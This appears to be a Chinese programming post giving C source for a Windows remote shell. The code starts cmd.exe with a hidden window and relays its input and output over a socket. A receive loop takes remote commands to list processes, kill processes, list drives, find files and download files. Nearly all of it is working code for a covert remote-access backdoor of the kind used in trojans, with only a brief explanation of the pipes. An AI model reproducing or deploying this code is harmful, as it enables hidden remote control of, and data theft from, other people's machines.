使用匿名管道实现远程cmd

DWORD WINAPI DoublePipe(LPVOID p)
{
    BOOL		DataSend;
    int			SendDataLen = 0;
    char		cmdline[1024];
    char		PipeBuffer[1024];
    HANDLE		hRead2;
    HANDLE		hWrite2;
    SECURITY_ATTRIBUTES sa2;		//这个结构为很多函数创建对象时提供安全性设置。
    STARTUPINFO		si;		//用于指定新进程的主窗口特性的一个结构。
    PROCESS_INFORMATION	pi;		//在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息。
    BOOL		Result;
    DWORD		bytesRead;
    int			ReadLen = 0;	//已读数据长度

    struct Socket_Recv* Information = p;

    do
    {
        SecureZeroMemory(cmdline, sizeof(cmdline));
        SecureZeroMemory(&si, sizeof(si));
        SecureZeroMemory(PipeBuffer, sizeof(PipeBuffer));

        sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa2.lpSecurityDescriptor = NULL;
        sa2.bInheritHandle = TRUE;
        CreatePipe(&hRead2, &hWrite2, &sa2, 0);

        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si);            //WindowsAPI函数。该函数取得进程在启动时被指定的 STARTUPINFO 结构。
        si.hStdError = hWrite2;
        si.hStdOutput = hWrite2;
        si.hStdInput = Information->hRecvData;
        si.wShowWindow = SW_HIDE;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

        GetSystemDirectory(cmdline, MAX_PATH + 1); //取得Windows系统目录(System目录)的完整路径名。
        strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");

        Result = CreateProcess(NULL, cmdline, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
        if (Result == 0)
        {
            printf("Error code is %u", GetLastError());
            break;
        }

        while (1)
        {
            Result = PeekNamedPipe(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL, NULL);
            if (Result == FALSE)
            {
                printf("PeekNamePipe Faild.");
                break;
            }
            if (bytesRead > 0)
            {
                Result = ReadFile(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL);
                if (Result == FALSE)
                {
                    printf("ReadFile Faild.");
                    break;
                }
                PipeBuffer[bytesRead] = 0;
                printf("%s", PipeBuffer);

                SendDataLen = strlen(PipeBuffer) + 1;
                DataSend = SendPacket(Information->socket, PipeBuffer, SendDataLen);
                if (DataSend == FALSE)
                {
                    printf("Send Pipe Information faild !\n");
                    printf("The connection is closed !\n");
                    break;
                }
            }
        }
    } while (0);

    CloseHandle(hWrite2);
    CloseHandle(hRead2);
    CloseHandle(Information->hRecvData);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    closesocket(Information->socket);
    return 0;

}


DWORD WINAPI RecvData(LPVOID p)
{
    int					DataRecv;
    int					RecvLen = 1024;
    int					IDRecvLen = 16;
    HANDLE				hNamePipe;
    DWORD				bytesRead;
    BOOL				Result;
    DWORD				ReturnValue;
    HANDLE				hRead1;
    HANDLE				hWrite1;
    SECURITY_ATTRIBUTES sa1;
    struct Socket_Recv Information;

    Information.socket = (SOCKET)p;

    do
    {
        sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa1.lpSecurityDescriptor = NULL;
        sa1.bInheritHandle = TRUE;
        CreatePipe(&hRead1, &hWrite1, &sa1, 0);
        Information.hRecvData = hRead1;

        CreateThread(NULL, 0, DoublePipe, &Information, 0, NULL);

        while (1)
        {
            RecvLen = sizeof(Information.recvbuffer) - 1;
            DataRecv = RecvPacket(Information.socket, Information.recvbuffer, &RecvLen);
            if (DataRecv == FALSE)
            {
                printf("Data receive faild !\n");
                break;
            }
            printf("%s\n", Information.recvbuffer);
            Information.recvbuffer[RecvLen] = 0;
            if (Information.recvbuffer[0] == '/')
            {
                if (Information.recvbuffer[1] == 'p' &&
                    Information.recvbuffer[2] == 'r' &&
                    Information.recvbuffer[3] == 'o' &&
                    Information.recvbuffer[4] == 'c' &&
                    Information.recvbuffer[5] == '\0')
                {
                    CreateThread(NULL, 0, ListProcess, (LPVOID)Information.socket, 0, NULL);
                }
                else if (
                    Information.recvbuffer[1] == 'k' &&
                    Information.recvbuffer[2] == 'i' &&
                    Information.recvbuffer[3] == 'l' &&
                    Information.recvbuffer[4] == 'l' &&
                    Information.recvbuffer[5] == ' ')
                {
                    strncpy_s(Information.ProcessID, sizeof(Information.ProcessID), Information.recvbuffer + 6, sizeof(Information.ProcessID) - 1);
                    printf("%s\n", Information.ProcessID);
                    ReturnValue = StrToIntA((PCSTR)Information.ProcessID);
                    Result = KillProc(ReturnValue);
                    if (Result == FALSE)
                    {
                        printf("Kill Process Faild.\n");
                    }
                }
                else if (
                    Information.recvbuffer[1] == 'd' &&
                    Information.recvbuffer[2] == 'r' &&
                    Information.recvbuffer[3] == 'i' &&
                    Information.recvbuffer[4] == 'v' &&
                    Information.recvbuffer[5] == 'e' &&
                    Information.recvbuffer[6] == 'r' &&
                    Information.recvbuffer[7] == '\0')
                {
                    CreateThread(NULL, 0, DriverList, (LPVOID)Information.socket, 0, NULL);
                }
                else if (
                    Information.recvbuffer[1] == 'f' &&
                    Information.recvbuffer[2] == 'f' &&
                    Information.recvbuffer[3] == ' ')
                {
                    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FindFile, &Information, 0, NULL);
                }
                else if (
                    Information.recvbuffer[1] == 'd' &&
                    Information.recvbuffer[2] == 'l' &&
                    Information.recvbuffer[3] == ' ')
                {
                    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FileDownload, &Information, 0, NULL);
                }
            }
            else
            {
                strcat_s(Information.recvbuffer, sizeof(Information.recvbuffer), "\r\n");
                printf("%s\n", Information.recvbuffer);

                WriteFile(hWrite1, Information.recvbuffer, strlen(Information.recvbuffer), &bytesRead, NULL);
            }
        }
    } while (0);

    closesocket(Information.socket);
    printf("The connection is closed !\n");
    WSACleanup();
    return 0;
}

使用两个匿名管道(pipe)实现双向通信。

pipe1连接接收数据的缓冲区和cmd进程的hStdInput;

pipe2连接cmd进程的hStdError、hStdOutput和发送数据的缓冲区,以便让服务端获得回显。